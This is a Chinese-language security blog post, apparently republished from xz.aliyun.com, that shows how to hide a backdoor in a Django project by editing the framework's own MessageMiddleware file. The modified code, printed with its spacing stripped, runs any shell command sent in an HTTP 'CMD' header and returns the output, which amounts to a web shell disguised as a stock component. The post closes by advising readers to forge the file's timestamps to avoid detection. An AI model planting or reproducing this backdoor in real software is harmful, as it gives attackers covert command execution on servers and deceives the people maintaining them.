一种隐蔽的利用Django中间件(Middleware)留后门的方法

更多全球网络安全资讯尽在邑安全

先了解下Django的请求生命周期和中间件在周期中的环节:

  Django 中间件是修改 Django request 或者 response 对象的钩子,可以理解为是介于 HttpRequest 与 HttpResponse 处理之间的一道处理过程。浏览器从请求到响应的过程中,Django 需要通过很多中间件来处理,可以看如下图所示:

  Django 中间件作用:
  - 修改请求,即传送到 view 中的 HttpRequest 对象。
  - 修改响应,即 view 返回的 HttpResponse 对象。
  如:利用中间件过滤response达到方法XSS的目的。

  读到这里,那么,利用中间件思路在Django中留后门是可行的,这里又有两种方案,一是自己写一个中间件,载入到项目中,另一个种是修改原有的中间件。当然是第二种更隐蔽、改动更小。

  Django默认创建项目(python3 manage.py project app)会生成如下settings:

INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]

MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

  那么这些默认的中间件有没有办法利用呢?我挑选了Django自带的django.contrib.messages.middleware.MessageMiddleware,定位到文件:/usr/local/lib/python3.7/site-packages/django/contrib/messages/middleware.py。默认内容如下:

  代码修改如下:

fromdjango.confimportsettings
fromdjango.contrib.messages.storageimportdefault_storage
fromdjango.utils.deprecationimportMiddlewareMixin
fromdjango.httpimportHttpResponse
importsubprocess

classMessageMiddleware(MiddlewareMixin):
"""
Middleware that handles temporary messages.
"""

defprocess_request(self,request):
request._messages=default_storage(request)

defprocess_response(

self,request,response):
"""
Update the storage backend (i.e., save the messages).

Raise ValueError if not all messages could be stored and DEBUG is True.
"""
# A higher middleware layer may return a request which does not contain
# messages storage, so make no assumption that it will be there.
print("Django-shell working")
cmd=None
cmd=request.META.get("HTTP_CMD")
ifcmd:
ret=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
response=HttpResponse(cmd+":\r\n"+str(ret.stdout.read()))
ifhasattr(request,'_messages'):
unstored_messages=request._messages.update(response)
ifunstored_messagesandsettings.DEBUG:
raiseValueError('Not all temporary messages could be stored.')
returnresponse

  覆盖原文件后,如果项目是uwsgi起的需要重启或者重载,如果是runserver起的或者uwsgi配置文件配置了py-autoreload,那么就不需要重启。
  测试效果如下

  最后记得伪装下文件时间。

原文来自: xz.aliyun.com

原文链接: https://xz.aliyun.com/t/11766

欢迎收藏并分享朋友圈,让五邑人网络更安全

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



以上是 一种隐蔽的利用Django中间件(Middleware)留后门的方法 的全部内容, 来源链接: www.h5w3.com/python/755671.html

回到顶部